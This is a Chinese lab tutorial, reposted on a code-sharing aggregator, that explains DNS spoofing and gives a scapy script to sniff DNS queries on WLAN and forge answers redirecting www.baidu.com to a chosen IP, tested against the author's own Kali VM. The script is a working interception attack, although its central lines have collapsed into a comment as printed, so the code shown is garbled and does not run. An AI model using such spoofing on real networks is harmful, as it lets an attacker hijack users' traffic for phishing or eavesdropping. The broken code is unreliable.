ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

DNS欺骗

2022-04-22 19:00:07  阅读:146  来源: 互联网

标签:网关 getlayer DNS pkt ip dns 欺骗


原理:

dns欺骗又可以叫作中间人人攻击,主要是通过拦截受害人在访问某个网站时设备向外发送的dns请求,然后给出伪造的dns应答,实现欺骗过程。

实验脚本如下:

 

from scapy.layers.dns import *
from scapy.all import *
def dns_spoof(pkt):
    testlist = ["www.baidu.com"]
    #haslayer()用来判断数据包中是否包含某一个协议,getlayer()用来提取出该协议内容
    if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:
        ip = pkt.getlayer(IP)
        udp = pkt.getlayer(UDP)
        dns = pkt.getlayer(DNS)
        testdomain = dns.qd.qname.decode()[: -1]
     #构造dns应答数据包,其中192.168.1.1为要伪造的网站的ip地址 if testdomain in testlist: resp = IP(src=ip.dst, dst=ip.src) resp /= UDP(sport=udp.dport, dport=udp.sport) resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, rdata="192.168.1.1")) send(resp) print("DNS的应答已经被篡改") sniff(filter="udp dst port 53", iface="WLAN", prn=dns_spoof)

 

实验过程:

因为我是用的wifi,所以在iface设置为WLAN。这里把虚拟机中的kali设为受害者,实体机作为攻击机。

1.查看实体机ip地址:

 

 注意这里查看的ip应当为上图箭头指向区域所示的IPv4地址,然后把kali的网关设置为这个地址。

2.设置虚拟机网关:

这里使用的虚拟机为vm。通过点击上方的——编辑——虚拟网络编辑,来到如下界面

 

 点击NAT设置,设置网关为前面所叫的ip地址:

 

 另一个方法设置网关:在kali终端中使用如下命令

sudo route add default gw 网关地址

检验是否成功设置可以使用命令:route 查看

3.执行脚本

先运行上述脚本,然后在虚拟机中执行dig @222.222.222.222 www.baidu.com

 

 

 

 成功劫持。讲一下这里的222.222.222.222是中国电信提供的dns服务器。一开始我用本地dns服务器测试,发现脚本同样返回劫持成功,但是在kali中不能直观的收到反馈。到底成没成功还待分析。

 

 

 

标签:网关,getlayer,DNS,pkt,ip,dns,欺骗
来源: https://www.cnblogs.com/nLesxw/p/dns_cheating.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有